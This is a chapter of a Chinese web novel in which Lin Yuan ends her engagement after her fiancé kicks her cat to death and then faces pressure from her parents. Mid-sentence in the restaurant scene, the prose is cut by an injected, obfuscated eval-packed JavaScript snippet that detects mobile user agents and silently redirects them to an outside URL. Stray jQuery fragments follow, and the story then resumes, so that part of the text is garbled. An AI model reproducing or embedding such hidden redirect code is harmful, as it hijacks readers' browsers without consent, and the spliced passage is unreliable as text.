默认冷灰
24号文字
方正启体

4. 分手

作者:溪岩闲本书字数:K更新时间:
    社畜没时间沉溺悲伤,周一,林瑗照常去公司上班。脸色晦暗,眼底发青,她就用粉底和修容膏勉强遮掩了一下。


    她所在的《地理风物》杂志社,是一家颇有历史的专业老牌期刊。地理人就业面狭窄,能进这里工作,已经是她过五关斩六将,花了相当大力气的结果。


    一到工位,她先将出差写的稿子整理好,提交进系统。


    上午十点有选题会,会议室坐满了人,林瑗在靠后的位置,并不起眼。轮到她简述近期准备的选题方向时,她介绍了一个关于西南少数民族村落生态变迁的线索。


    主编听完并没有多作询问,随即示意下一位同事。林瑗明白,这差不多就是不被采用的意思。在这种论资排辈的地方,资历浅的人很难有负责深度选题的机会,更多的是听从领导的安排和调配。


    果然,林瑗最后被分派到一个关于远郊湿地生态恢复的专题小组,配合资深编辑,完成一些初步走访和资料收集的工作。


    散会后,大伙三三两两离开会议室,林瑗靠后走得稍慢,同事田恬顺手帮她拿了落在椅背上的薄外套。


    “谢了。”林瑗接过。她和田恬另有一层缘分,平日里关系处得很不错。


    “客气啥。”田恬和她并肩往外走,侧头打量她,“你没事吧?看你开选题会的时候好像不在状态,以前你一讲起码十来分钟呢。”


    “这不讲多了也是耽误大家时间。”林瑗勉强打趣笑了笑:“还好,我就是出差有点累,没缓过来。”


    “哦哦,理解理解。”田恬安慰地拍拍她的肩膀,很自然地闲聊起来,“我还以为你是准备婚事太忙了呢。周末我去大伯家,就看见他一本正经地在背你俩的证婚词,声情并茂,还有动作,给我笑得。”


    “……唔。”林瑗喉咙有些发紧,只能含糊应了一声,“麻烦老师了。”


    “麻烦啥啊,老头乐着呢!带了半辈子研究生,难得能当回月老。”田恬笑着感慨,“话说你们请的那家婚庆公司挺不错啊,写的致词听着好感人。”


    林瑗想微笑说声谢谢,但嘴角像挂了铅块,怎么也提不起来。


    田恬的大伯,正是林瑗读研时的导师。而周论则是大她两届的师兄,后来又继续跟着田教授读博。二人此前并没有什么交集,直到林瑗研三那年,被田教授安排到和周论同一个课题组。


    朝夕相对,两个人很自然地就在一起了。周论的父母也都是地质学家,早年因公考察不幸出了意外,由姑妈将他抚养成人。后来姑妈全家移民瑞典,他便独自留在国内求学、生活,田教授因此对他格外关照。


    得知两人的婚讯时,田教授是真心为他们高兴,一口应下要当他们的证婚人。一切仿佛都水到渠成,这是一段所有人都祝福的姻缘。


    田恬看她反应不对,小声问:“怎么了?你们俩还好吧?”


    林瑗摇摇头,不知道该怎么说。还好手机适时响起,田恬一看她有事便先走了,而林瑗本来很庆幸这个来电,直到看清号码标注:婚礼策划程经理。


    她心里咯噔一下,快步走向没人的茶水间。玻璃窗外,停了一只灰扑扑的喜鹊,正歪着头用小豆眼打量着室内。


    “您好,林小姐,我这边负责您和周论先生订婚宴的统筹,想跟您约个时间确定当天的礼服款式,您看本周方便吗?”


    “林小姐?”电话那头疑惑地唤了一声。


    “不好意思,我这边情况可能有变化。”林瑗终于下定决心,“晚点我会给你们回复,谢谢。”


    茶水间里安静下来,窗外的喜鹊扑棱着翅膀飞走了,只留下一个转瞬即逝的影子。做这个决定并不容易,林瑗明白事态会像推倒多米诺骨牌一样,但她首先想要尊重自己的内心。


    *


    “所以,你约我吃晚餐,是为了一只猫要跟我提分手?”餐桌对面的周论瞪大眼睛,整个人显得难以置信,“你不觉得可笑吗?对你来说,我还不如猫重要?”


    或许是真的因为倍感荒谬,他发出一声嗤笑。


    “不是这样对比的。”林瑗慌忙否认,“不是因为猫,而是我和你可能在一些根本的观念上,不太合适。”


    “什么观念?!”周论的语调骤然拔高,透出烦躁和不解,“我说了很多遍,那只是个意外!我只是不小心踢了它一下!我没想到它会死!这能上升到观念问题?”


    没想到他会突然这么大声,林瑗庆幸自己选了包间。


    “你说只是踢了它一下,可它胸腔、腹腔的骨头断了好几根。”林瑗深吸口气,双手无意识地握拳,“而且折断的方向不同。如果只是一脚,为什么能踢出两个方向?”


    周论的声音冷了下来,“林瑗,你哥哥也常踢球,你可以去问他。对于习惯快速反应的人,我们所说的‘一下’可能就是连续的踢蹬动作。”


    “我的表述或许不够准确,但我从来没有否认过猫是被我踢死的。我一开始就道歉了,也愿意赔你一只新的,你为什么还要揪着这件事情不放?”


    “生命没有‘新的’,新的猫,不是我的烫烫。”林瑗哑声回答,她也在克制某种积压的情绪,“你看,这就是我们观念的不同,我们对待生命的看法不一样。”


    “所以归根结底,你还是为了一只畜生,要放弃我们两年的感情,放弃我们的未来?”周论的反问充满了无法理解,甚至隐含了一丝被冒犯的怒意,“我在你心里,就这么不值一提?!”


    “不对,周论,你不要偷换概念。”林瑗看着他,晦暗的光线竟让面前人的轮廓显得有些陌生,“我一开始就说了,这不单是猫的问题,而是我们的观念不一样。”


    “可能一件对你来说微不足道的小事,对我而言却是无法逾越的底线!如果我们继续在一起,以后只会有无数的争执,就像今天一样。对你我来说都是折磨。”


    “好,好,这样,”周论举起双手,靠向椅背,“我们各退一步。如果你婚后还想养猫,我保证一个指头都不碰它,可以吗?”


    “我知道你只是暂时妥协,并不是认同我。”林瑗无力地回答,“难道这样我们就不会有别的矛盾吗?”


    “所以我们这不是才先订婚,预留一年的磨合期吗?”周论一点点将衬衫的袖口挽到手肘,“我知道你重感情,因为猫的事情,你太难过了,才会这样不理智。”


    “但我们的婚事不是儿戏。”


    “给我一次机会,也给你自己一次机会,好吗?你冷静下来,再想想。”


    他的逻辑听起来无懈可击,可林瑗不是没有体察到其中的傲慢。什么叫“儿戏”、“不理智”,这叫她如何跟他说明,自己会将陪伴的宠物视作家人?可以想见,对方会有多觉得她“孩子气”。


    此刻林瑗再次清晰无比地认识到,她和周论的确不是一路人。


    “抱歉,我想得很清楚了。”


    事先已买过单,林瑗拎起包起身离开。


    刚走出几步,身后传来丁零当啷的撞击


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311346|198863||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    磕碰声——也许是服务生失手摔了盘子?林瑗没有回头,逃也似的离开了餐厅。


    *


    回到家,林瑗坐到鱼缸前,而烫烫的骨灰罐就静静摆在上一层。她拿出手机,给父母发了条微信语音,简短地说清了缘由和结果,希望他们不用再劝,也捎带通知家里的亲戚,下个月不用来了。


    也就是发完信息去洗了个澡的功夫,手机上十几个未接来电,全是她妈打来的。


    林瑗刚回拨过去。母亲一秒接通,紧接着声音就炸开了:


    “你嫂子说你就是故意在闹,因为家里没给你房子是吧?”


    “?”林瑗怀疑自己听错了,一瞬间一股凉意从脚底窜上来,她甚至愣了几秒,才找回自己的声音,“妈?你是没听我发的消息吗?我是那样的人吗?房子我说不要就不要!”


    “我都说了周论打死了烫烫,难道我还能跟他在一起?!”


    “真的就为一只猫?”王婉丽听起来竟像是松了口气,“算了算了,年轻人过日子总会有些小摩擦,小周也是无心的。不要闹了。”


    “……我不是闹。”林瑗跟周论分手的时候都没哭,可她妈两句话就差点让她破防,“你要这样讲我就不跟你说了,反正我跟他不合适,这婚不结了。”


    “胡闹,这么大事哪能说变卦就变卦,”王婉丽急道,“再说怎么就不合适?你们俩男才女貌的,多般配……”


    林瑗直接挂断了电话。她把脸埋进臂弯里,脑子里嗡嗡作响。


    过了一会,她爸的电话也来了。


    林文彬比王婉丽要强一点,至少在电话里把周论狠狠批评了一顿:“这混账小子!太不像话了!怎么能对一只小猫仔下那么重的手?太冲动了!”


    “不过瑗瑗啊,小周是做得不对,但他肯定也知道错了。年轻人嘛,谁不犯错?他愿意改,你就给他一次机会。订婚是大事,请柬我们都发出去了,那么多亲戚朋友都通知了,不能这么儿戏。原谅他这一次,啊?”


    “爸,你的面子比我的感受重要吗?”林瑗听着父亲那套和稀泥和顾全大局的理论,只觉得疲惫感深入骨髓。“你要替我原谅他,那你替我结婚得了吧。”


    林文彬被噎了个够呛,让她“再想想”、“别急着做决定”,话还没说完,林瑗就听到电话里传来林珩发脾气的声音,说他妹妹想嫁谁就嫁谁,不想嫁就不嫁。


    “姓周的算老几!”林珩看来是抢过了林文彬的手机,气势汹汹对她说:“哥支持你,没事!你只管分手,他要是敢缠着你,哥替你收拾他!”


    “嗯。”林瑗应了一声,鼻子有点酸,“很晚了,我睡的,拜拜。”


    要说不感动是不可能的,林珩虽然缺点一堆,但从小就疼她,为了护着妹妹没少跟周边的孩子王打架。


    当初她想搬到公司附近租房子住,家里除了林珩,没人支持她。她妈觉得浪费钱,她爸觉得女孩子独居不安全。是林珩帮她搬的行礼,付的押金和头三个月房租。


    实习期工资低,林瑗自觉工作了,不想再跟家里伸手要钱,但林珩怕她钱不够花,每个月几百上千的转账给她,补贴她日常开销。


    这些好,林瑗都记得,所以只要她哥家庭和睦,过得顺心,她是真的不在意父母自己的财产如何分配。她有手有脚,有头脑有能力,可以凭本事去挣想要的生活。


    临睡前手机一震,是周论发来的消息:


    “睡了吗亲爱的?我们周末该去试礼服了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)